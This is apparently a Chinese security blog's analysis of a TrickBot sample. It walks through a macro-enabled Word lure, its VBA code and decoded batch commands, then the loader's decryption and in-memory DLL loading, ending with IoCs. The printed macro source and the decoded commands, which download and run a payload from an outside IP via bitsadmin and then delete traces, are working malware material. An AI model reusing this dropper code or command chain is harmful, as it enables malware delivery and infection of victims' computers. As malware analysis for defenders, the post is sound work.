trickbot病毒分析

百家 作者:Chamd5安全团队 2022-03-25 09:13:26


概述

最近微软发布了一款Trickbot扫描器[1]

该木马近期在app.any.run公开任务的提交趋势如下[2]

获取一个样本[2],进行分析

原始样本(doc)分析

打开之后是这样的

这里包含一定的社会工程操作,如果受害者对此类攻击不熟悉,就会点击启用宏导致样本执行。

使用oletools查看一下宏

C:\Users\IEUser\Desktop\trickbot>mraptor trickbot.doc
MacroRaptor 0.56.2 - http://decalage.info/python/oletools
This is work in progress, please report issues at https://github.com/decalage2/oletools/issues
----------+-----+----+--------------------------------------------------------
Result    |Flags|Type|File
----------+-----+----+--------------------------------------------------------
SUSPICIOUS|AWX  |OpX:|trickbot.doc

Flags: A=AutoExec, W=Write, X=Execute
Exit code: 20 - SUSPICIOUS

FLARE Tue 03/22/2022  0:41:10.52

使用olevba查看一下宏列表

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |autoopen            |Runs when the Word document is opened        |
|AutoExec  |Document_Close      |Runs when the Word document is closed        |
|AutoExec  |Document_New        |Runs when a new Word document is created     |
|AutoExec  |Label1_Click        |Runs when the file is opened and ActiveX     |
|          |                    |objects trigger events                       |
|AutoExec  |TextBox1_Change     |Runs when the file is opened and ActiveX     |
|          |                    |objects trigger events                       |
|Suspicious|Environ             |May read system environment variables        |
|Suspicious|Open                |May open a file                              |
|Suspicious|Output              |May write to a file (if combined with Open)  |
|Suspicious|Print #             |May write to a file (if combined with Open)  |
|Suspicious|ShellExecute        |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|ShellExecuteA       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|shell32             |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Windows             |May enumerate application windows (if        |
|          |                    |combined with Shell.Application object)      |
|Suspicious|Lib                 |May run code from a DLL                      |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |script1.bat         |Executable file name                         |
|IOC       |script11.bat        |Executable file name                         |
|IOC       |script2.bat         |Executable file name                         |
|IOC       |script3.bat         |Executable file name                         |
|IOC       |script4.bat         |Executable file name                         |
|Hex String|4TVq                |34545671                                     |
+----------+--------------------+---------------------------------------------+

并提取出宏,分阶段分析

首先声明获取系统版本的函数,并且在开始时自动执行一些函数

Option Explicit
#If Win64 Then
Private Declare PtrSafe Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long ''PtrSafe
#Else
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long ''PtrSafe
#End If

Private Type OSVERSIONINFO ' 声明系统版本结构体,便于获取信息
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Dim NameJob As String
Dim NameApp As String
Dim TT As String
Dim NameLoad As String
Dim Count As Byte
Dim s1, s11, s2, s3, t1 As String
Sub ducument_open()
MsgBox ("ducument_open")
End Sub

Sub autoopen()
#Const CVV = "8989"
#If v = "9200" Or v = "787.17763.111" Then
''MsgBox "ok"
#Else
''MsgBox "else"
#End If

Dim SSS As Integer

NameJob = ""
Count = 0
NameApp = ""
NameLoad = ""
Start 3.14
End Sub

函数结尾执行了Start函数,参数是3.14

Sub Start(DD As Double, Optional NXT As Byte = 0)

Dim SSS As Integer
Dim ff
Dim tmp As String

If DD = Round(377 / 120, 2) Then ' Round(377/120,2)恰好是3.14
'MsgBox NXT
VerWin
Count = 0
NameApp = ""
NameLoad = ""
tmp = Environ("tmp")
' 解密字符串
s1 = Vnoc("b.iynpyb.iynbybwaoynmyn2ysr\ti\ps3cocex.%d3Y\ecVi.\t/x xyse.as3", "nY%dpytmsiaoe.c\Vwx/b32r ") + GetRandName(10) + GetRandExp() + Vnoc("errebp\&ab2c%s3aptt1i perrebp\&ab2c%s3ap.1i perrebp\&ab2c%s3apm1i p", "me%t&\bpr2ias.3 c1", 4)

s11 = Vnoc("4r2cg4c4r2cgnc5m1-c 1cpcd.i..i/6i6pd", "5cr2-i6/4np mdg.1", 7) + Chr(13) + Chr(10) + Vnoc("6)9r42202s4 4sr11t9v%4(9%=1ofle94s%49v%4(9%=1ioe", "06)tle(s4v%= r192oif", 3)


s2 = Vnoc("eiumodmeiumoemrti/ crmorm", "mtdc/ irueo") + GetRandTime(3) + Vnoc("enm%/bk&teppea\kroa ", "%\rpkna botm&e/") + NameApp + " /transfer " + _
GetRandJName(10) + Vnoc("epth:inhytep.dshdso4e\s%\e\oo. pplr5rr5m651/r1pwaodh5.%.e1ow.1g", "h4:pl\r .ngde5i%tams1oyw/6", 5) + GetRandName2(11) + GetRandExp() '

s3 = Vnoc("m /otcom /otmoiu deriotio", "rmodtuc e/i") + GetRandTime(4) + Vnoc("erb%/atn&eppekmt\ok ", "b oam&/e%n\prtk") + NameLoad + _
Vnoc("..a2 tabrabfa/i pl/sm%ecli&\d1ia/i pl/sm%ecli3\d1ia/i pl/sm%ecliq\d1i", "slcb3ra.mt%dqe1\pi/2f &", 8) + _
Vnoc("biep aimc\%tae44r1.ebiep aimc\%taesr1.ebiep aim", "srmt1ac% e4.\ibp") + NameApp + GetRandExp()

t1 = Vnoc("ormt ctormt otierdu/it it", "muir/ec dot", 3) + GetRandTime(13) + Vnoc("t\ &ao%mptkktb/erbn", "/mr\eon%& bktap", 3) + NameApp + Vnoc("iNgue SmsSrsuoo/TtuSPei", "PoTmS/tgNer usi", 3) + _
NameJob + Vnoc("&2t2&mm&p% \1pe", " %m1et&p\2") + NameApp + Vnoc("t MlyRD/rlyaeSlniet", "eMtD/alRyS inr") + NameJob + " 4"

With Form1
.Label2 = s2
.Label3 = s3
.Label4 = t1
End With

ff = FreeFile
Open tmp + "\script1.bat" For Output As #ff
Print #ff, s1
Close #ff

ff = FreeFile
Open tmp + "\script11.bat" For Output As #ff
Print #ff, s11
Close #ff

ff = FreeFile
Open tmp + "\script2.bat" For Output As #ff
Print #ff, s2
Close #ff

ff = FreeFile
Open tmp + "\script3.bat" For Output As #ff
Print #ff, s3
Close #ff

ff = FreeFile
Open tmp + "\script4.bat" For Output As #ff
Print #ff, t1
Close #ff

End If

tmp = s1
s2 = "JHHGhdrrj7745"
s3 = "7455jkjjhHGGhgh471"
End Sub

这里用到了一个解密字符串的函数Vnoc,解密完成后写入到一系列文件中

Function Vnoc(ES As String, MK As String, Optional Oset As Integer = 6) As String
Dim I, CurPosSym, Offset As Integer
Dim CurSymbol, NewSymbol As String
Dim NewString As String
Dim TEST1 As String
''MK = "yocixniyocixyiy\/:ix%ixmiy .Ypac\Yw.w:wVtobK.2pVwecopast3tirVto/r.::OndY3st3t"
Offset = Oset
NewString = ""

For I = 1 To Len(ES)
CurSymbol = Mid(ES, I, 1) ' Get The ith char
CurPosSym = InStr(1, MK, CurSymbol) ' Get the position of char in MK
If CurPosSym - Offset > 0 Then
NewSymbol = Mid(MK, CurPosSym - Offset, 1) ' Get The CurPosSymth char
Else
NewSymbol = Mid(MK, CurPosSym + Len(MK) - Offset, 1) ' Get CurPosSym + Len(MK) - Offsetth char
End If
NewString = NewString + NewSymbol
Next I
Vnoc = NewString
End Function

解密逻辑比较清晰,即类凯撒解密,第一个参数是加密后的字符串,第二个参数是加密用的移位表

Start中调用这个函数,解密得到的字符串如下

:: script1.bat s1
cmd /r cmd /c copy /Y /V %windir%\system32\bitsadmin.exe %tmp%\hexM0^0.exe && %temp%\script11.bat && %temp%\script2.bat && %temp%\script3.bat
:: script11.bat s11
cmd /c cmd /r ping -n 2 64.44.51.126
if %errorlevel%==0 (set s4=126) else (set s4=91)
:: script2.bat s2
cmd /r cmd /c timeout /t 5 /nobreak &&
%temp%\hexM0^0 /transfer "eClKsn" /download /priority high http://64.44.51.%s4%/metro.pgp %tmp%\0o60p0$0.exe
:: script3.bat s3
cmd /r cmd /c timeout /t 5 /nobreak &&
%temp%\0o60p0$0 && del /f /q %temp%\script1.bat %temp%\script2.bat %temp%\script3.bat %temp%\script11.bat %temp%\script4.bat %temp%\hexM0^0.exe
:: script4.bat t1
cmd /r cmd /c timeout /t 14 /nobreak && %tmp%\hexM0^0 /SetNoProgressTimeout "eClKsn" 121 && %temp%\hexM0^0 /SetMinRetryDelay "eClKsn" 4

接下来就是文档关闭时的动作了

Private Sub Document_Close()

With Form1.Label1
If .Width + .Top > 100 Then
.Caption = s1
s1 = "(834jdd+="
Form1.Label1_Click
End If
End With

End Sub

调用了Form1的Label1_Click

'VBA MACRO Form1.frm 
'in file: word/vbaProject.bin - OLE stream: 'VBA/Form1'
'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Option Explicit
#If Win64 Then
Private Declare PtrSafe Function ShellExecute Lib "shell32" _
Alias "ShellExecuteA" (ByVal hwnd As Long, _
ByVal lpOperation As String, ByVal lpFile As String, _
ByVal lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
#Else
Private Declare Function ShellExecute Lib "shell32" _
Alias "ShellExecuteA" (ByVal hwnd As Long, _
ByVal lpOperation As String, ByVal lpFile As String, _
ByVal lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
#End If

Public Sub Label1_Click()
TextBox1.Value = 34545671
End Sub

Private Sub Label3_Click()

End Sub

Function start2(ByVal pid As Integer, ByVal pam1 As String, ByVal pam2 As String, pamW As Integer) As Integer
If Len(pam1) = 3 And Asc(Mid(pam1, 2, 1)) = 109 Then
start2 = ShellExecute(pid, vbNullString, pam1, pam2, ThisDocument.Path, pamW)
End If
start2 = 1
End Function

Private Sub TextBox1_Change()
If TextBox2.Height > 1 Then
TextBox2.Text = "*&87873jnhjhsJJHGGF==+++"
End If
End Sub

Private Sub TextBox2_Change()
Dim w1 As String
If TextBox3.Width > 5 + 2 Then
w1 = CStr(Label1.Caption)
TextBox3.Text = "HGHGhwegrbce74546567"
End If
End Sub

Private Sub TextBox3_Change()
Dim w2 As String
If TextBox2.Width > TextBox3.Height Then
w2 = Label2.Caption
TextBox4.Text = "3485erjtghhgFDFDGJKJhjhe"
End If
End Sub

Private Sub TextBox4_Change()
Dim w3, cor As String
Dim SF, SG As Integer
If TextBox4.Width > TextBox3.Width + TextBox2.Width + TextBox1.Width Then
w3 = Label1.Caption ' Gets or sets the text that appears in the control. Read/write String
cor = Label4.Caption
SF = start2(0, "cmd", w3, 0)
'MsgBox Environ("res")
SG = start2(0, "cmd", cor, 0)
End If
End Sub

可以看到这是一个链式调用,Label1_Click触发TextBox1_Change(),然后TextBox2_Change(),TextBox3_Change(), TextBox4_Change()。最终调用start2()执行了一些命令

其它函数就是一些获取随机字符串的操作

最终执行的字符串为

w3=Label1.Caption=s1
cor=Label4.Caption=t1

也就是使用bitsadmin.exe执行script2.bat,script3.bat,script11.bat。然后执行script4.bat。首先测试链接,然后下载载荷。并且其中的script3执行了载荷。

0o60p0$0.exe分析

程序开头以及后面都输出了一些无关紧要的东西,把自己伪装成一个小游戏

printf("\t\t\tC PROGRAM QUIZ GAME\n");
          printf("\n\t\t________________________________________");
          printf("\n\t\t\t   WELCOME ");
          printf("\n\t\t\t      to ");
          printf("\n\t\t\t   THE GAME ");
          printf("\n\t\t________________________________________");
          printf("\n\t\t________________________________________");
          printf("\n\t\t   BECOME A MILLIONAIRE!!!!!!!!!!!    ");
          printf("\n\t\t________________________________________");
          printf("\n\t\t________________________________________");
          printf("\n\t\t > Press S to start the game");
          printf("\n\t\t > Press V to view the highest score  ");
          printf("\n\t\t > Press R to reset score");
          printf("\n\t\t > press H for help            ");
          printf("\n\t\t > press Q to quit             ");
          printf("\n\t\t________________________________________\n\n");

但是中间解密并执行了一些数据

decrypt_string("5w5EzPC0C10QrKw(", aUuo, 3662);
          decrypt_string("5w5EzPC0C10QrKw(", aUuIu, 692);
          v6 = VirtualAlloc(00xE4Eu, 0x1000u, 0x40u);
          memmove(v6, aUuo, 0xE4Eu);
          v5 = VirtualAlloc(00x2B4u, 0x1000u, 0x40u);
          memmove(v5, aUuIu, 0x2B4u);
          GetModuleFileNameW(0, Filename, 0x400u);
          if ( is_exist(Filename) )
            ((void (*)(const char *, ...))v6)("Td5xh%r7dqisN#s"16, &unk_425000, 165888);
          ((void (__cdecl *)(void *))v5)(&unk_425000);

解密算法如下

int __cdecl decrypt_string(const char *a1, char *a2, int a3)
{
  int result; // eax
  unsigned int i; // [esp+Ch] [ebp-8h]

  for ( i = 0; i != a3; ++i )
  {
    a2[i] ^= a1[i % strlen(a1)];
    result = i + 1;
  }
  return result;
}

分析解密后的数据

第一个函数分析

BOOL __cdecl sub_41D955(int a1, int a2, int a3, int a4)
{
  BOOL result; // eax
  //...

  if ( a2 <= 0 || a2 > 16 )
    return 0;
  v9 = sub_41D826();
  v21 = 0;
  //...
  strcpy(v13, "RSA2");
  //...
  strcpy(v19, "advapi32.dll");
  strcpy(v14, "CryptAcquireContextA");
  strcpy(v17, "CryptImportKey");
  strcpy(v18, "CryptEncrypt");
  v8 = (int (__stdcall *)(char *))sub_41D8B9(v9, -1970583946); // LoadLibraryA
  v11 = (int (__stdcall *)(intchar *))sub_41D8B9(v9, 449506938); // GetProcAddress
  v22 = 0;
  v22 = v8(v19);
  v21 = (int (__stdcall *)(int *, _DWORD, _DWORD, intint))v11(v22, v14); // CryptAcquireContextA
  v10 = (int (__stdcall *)(intchar *, intint, _DWORD, int *))v11(v22, v17); // CryptImportKey
  v5 = (int (__stdcall *)(int, _DWORD, int, _DWORD, intint *, int))v11(v22, v18); // CryptEncrypt
  v23 = 0;
  if ( !v21(&v23, 0010) && !v21(&v23, 0018) && !v21(&v23, 001-268435456) )
    return 0;
  v7 = 0;
  if ( !v10(v23, v12, 30800, &v7) )
    return 0;
  for ( i = 0; i < a2; ++i )
    v16[i] = *(_BYTE *)(a1 + a2 - i - 1);
  v16[a2] = 0;
  for ( j = a2 + 1; j < 62; ++j )
    v16[j] = 1;
  v6 = 0;
  if ( v10(v23, v15, 76, v7, 0, &v6) )
    result = v5(v6, 010, a3, &a4, a4) != 0// 加密a3中a4个大小的数据
  else
    result = 0;
  return result;
}

首先加载一系列的加密库,然后加载硬编码的RSA key

加密过程实际上解密了一个dll,解密后的数据如下

第二个函数分析

int __stdcall sub_26E650(int a1)
{
  //...

  v4 = &v2;
  v5 = sub_26E6C6();
  v3 = (void (__cdecl *)(char *, _DWORD, int))sub_26E757(v5, 472671547); // memset
  v3(v4, 032);
  return sub_26E7F3(a1);
}

最后一个函数sub_26e7f3

int __cdecl sub_26E7F3(int a1)
{
  //...

  varC = *(_DWORD *)(a1 + 60) + a1;
  var1C = sub_26E690();
  var20 = sub_26E6C6();
  var24 = (int (__stdcall *)(_DWORD, _DWORD, intint))sub_26E757(var1C, 808369692); // VirtualAlloc
  var2C = (void (__cdecl *)(intint, _DWORD))sub_26E757(var20, 478437696);// memcpy
  var14 = var24(0, *(_DWORD *)(varC + 80), 409664);
  var8 = *(_WORD *)(varC + 6);
  var10 = varC + *(unsigned __int16 *)(varC + 20) + 24;
  for ( var4 = 0; var4 < (int)var8; ++var4 )
    var2C(
      *(_DWORD *)(var10 + 40 * var4 + 12) + var14,
      *(_DWORD *)(var10 + 40 * var4 + 20) + a1,
      *(_DWORD *)(var10 + 40 * var4 + 16));
  ((void (__cdecl *)(intintint))(*(_DWORD *)(varC + 40) + var14))(
    varC + 128,
    var10 + 40 * var8 - a1,
    *(_DWORD *)(varC + 40) + var14);
  return 1;
}

后续行为比较复杂,但是从app.any.run的报告来看,该样本还是有一些trickbot的行为。

其他行为后续会继续分析。

总结

该样本以最初的docm文档呈现,office是不会阻挡docm的宏的加载的。且该样本层层套娃,以多种方式逃避自动化分析。

防范措施:不要打开来历不明的文件,经常安装、更新杀毒软件。

IoCs

文件名sha256
原始样本(doc)8c920f04068298321634ec24616614d533fd90d47e8ea5a3efb0910331aaadb6
0o60p0$0.exe0F466EEBF214BEA517664F3FB34099DEB9F12F7910C0D962D7D6957C8CA09362

参考资料

[1] Microsoft creates tool to scan MikroTik routers for TrickBot infections

[2] Trickbot



end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org




关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接